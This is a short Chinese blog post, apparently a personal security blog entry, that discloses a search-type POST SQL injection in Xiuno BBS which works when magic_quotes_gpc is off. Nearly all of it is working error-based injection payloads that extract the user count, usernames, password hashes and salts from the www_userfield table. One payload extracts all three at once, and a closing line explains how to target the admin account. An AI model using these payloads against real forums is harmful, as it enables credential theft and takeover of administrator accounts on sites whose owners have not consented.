前段时间爆出 Xiuno bbs 后台拿shell
无意中翻了下代码发现 搜索型注入漏洞（POST）magic_quotes_gpc = Off
获取用户个数
1 |
' AND (SELECT 1600 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),0x20)),1,50) FROM www_userfield),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取用户名：
1 |
' AND (SELECT 3849 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取密码:
1 |
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取salt:
1 |
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(salt AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
一步获取
1 |
' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT((SELECT concat(0x757365726e616d653a,username,0x3b70617373776f72643a,password,0x3a,salt) FROM www_userfield limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOBL'='MOBL |
note:LIMIT = 用户个数-1,1
xx FROM www_userfield where username='admin';
FROM :WOLVEZ'S BLOG| Author:wolve
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